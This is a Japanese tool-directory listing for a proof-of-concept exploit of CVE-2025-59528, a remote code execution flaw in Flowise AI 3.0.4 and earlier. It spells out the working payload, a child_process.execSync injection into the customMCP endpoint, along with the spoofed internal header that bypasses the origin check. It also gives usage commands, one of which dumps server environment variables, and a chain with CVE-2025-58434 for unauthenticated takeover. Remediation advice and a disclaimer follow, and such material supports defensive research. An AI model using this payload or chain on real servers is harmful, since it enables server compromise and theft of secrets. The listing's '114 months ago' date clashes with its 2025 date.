Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Flowise-RCE-CVE-2025-59528 — Flowise AI バージョン ≤ 3.0.4 向けの認証済みリモートコード実行 (RCE) エクスプロイト。/api/v1/node-load-method/customMCP エンドポイントの脆弱性を悪用し、Node.js の child_process.execSync() を介して任意のシステムコマンドを実行します。完全な PoC スクリプトと修復手順が含まれます。 | Kitploit
ツール/GitHubGitHub/r3nsi15/flowise-rce-cve-2025-59528
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育ペイロード開発
GitHubr3nsi15/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

Flowise AI バージョン ≤ 3.0.4 向けの認証済みリモートコード実行 (RCE) エクスプロイト。/api/v1/node-load-method/customMCP エンドポイントの脆弱性を悪用し、Node.js の child_process.execSync() を介して任意のシステムコマンドを実行します。完全な PoC スクリプトと修復手順が含まれます。

リポジトリを見る
114ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-59528 — Flowise AI の認証済みリモートコード実行 (RCE)

概要

CVE ID: CVE-2025-59528
影響を受けるソフトウェア: Flowise AI
影響を受けるバージョン: <= 3.0.4
修正済みバージョン: 3.0.5 以降
深刻度: 緊急
作成者: r3nsi15
日付: 2025

説明

Flowise AI バージョン 3.0.4 以下では、認証済みユーザーが /api/v1/node-load-method/customMCP エンドポイントに細工した JavaScript ペイロードを送信することで、ホストサーバー上で リモートコード実行 (RCE) を達成できます。

customMCP ノードの load メソッドは、ユーザーが制御する入力をサーバーサイドで JavaScript として評価しますが、十分なサニタイズやサンドボックス化は行われていません。Node.js の child_process.execSync を利用するペイロードを注入することで、攻撃者は Flowise サーバープロセスの権限で任意の OS コマンドを実行できます。

また、このエンドポイントには x-request-from: internal ヘッダーが存在する必要があります。

影響を受けるエンドポイント

エンドポイントメソッド認証要件目的
/api/v1/auth/loginPOST不要認証してセッションを取得
/api/v1/node-load-method/customMCPPOST必要(セッション Cookie)脆弱性のあるノード load メソッドのエンドポイント

概念実証 (PoC)

ファイル: CVE-2025-59528_POC.py

要件

  • Python 3.x
  • requests ライブラリ
  • 対象の Flowise インスタンス上の任意のユーザーアカウントの有効な認証情報
root@kitploit:~
pip install requests

使用方法

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

引数

フラグロングフォーム必須説明
-e--email必須認証済みユーザーのメールアドレス
-i--url必須Flowise インスタンスのベース URL
-p--password必須認証済みユーザーのパスワード
-c--cmd必須サーバー上で実行する OS コマンド

使用例

コード実行の確認:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

サーバーの環境変数の取得:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

想定出力

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

ペイロードの解説

このエクスプロイトは、以下の JavaScript 式を mcpServerConfig フィールドに注入します:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — Node.js 組み込みのプロセス実行モジュールを読み込みます。
  • execSync('<command>') — 攻撃者が指定した OS コマンドを同期実行します。
  • 式全体はオブジェクトリテラルでラップされており、サーバーの JavaScript コンテキスト内で問題なく評価されることを保証します。

また、このリクエストには x-request-from: internal ヘッダーが付与されており、これがないと呼び出しをブロックする内部オリジンチェックを通過します。

根本原因

customMCP エンドポイントは、サニタイズやサンドボックス化を行わずに、ユーザーが提供した入力をサーバー上の JavaScript 評価コンテキストに直接渡します。process.mainModule.require を介した Node.js コアモジュール(特に child_process)への無制限のアクセスと組み合わさることで、容易に悪用可能な RCE ベクターが生じます。x-request-from ヘッダーチェックは信頼できるソースに対して検証されないため、意味のあるセキュリティ境界とはなりません。

CVE-2025-58434 との連鎖

これら 2 つの脆弱性を 連鎖 させることで、バージョン <= 3.0.4 を実行している Flowise インスタンスに対して、認証なしの RCE 攻撃経路を構築できます:

  1. CVE-2025-58434 を使用して、既知の任意のアカウントのパスワードをリセットする(事前の認証は不要)。
  2. 新しく設定した認証情報でログインする。
  3. CVE-2025-59528 を使用して、サーバー上で任意の OS コマンドを実行する。

修復策

  • アップグレード: Flowise AI 3.0.5 以降に更新し、脆弱な評価パスを削除または適切にサンドボックス化します。
  • ユーザーが制御する文字列をサーバーサイドのコンテキストでコードとして評価しない。
  • 適切なサンドボックス(例: vm2、分離コンテキスト、または process.mainModule へのアクセス削除)を介して、危険な Node.js モジュール(child_process、fs など)へのアクセスを制限する。
  • 単純な文字列チェックではなく、サーバーサイドのメカニズムを通じて x-request-from ヘッダーを検証および認証する。
  • Flowise サーバープロセスに最小権限の原則を適用する。

免責事項

この概念実証コードは、教育および許可されたセキュリティ研究目的のみで提供されます。明示的な書面による許可なくこのスクリプトをシステムに対して使用することは、違法かつ非倫理的です。著者および貢献者は、誤用に対する一切の責任を負いません。

ツールをダウンロード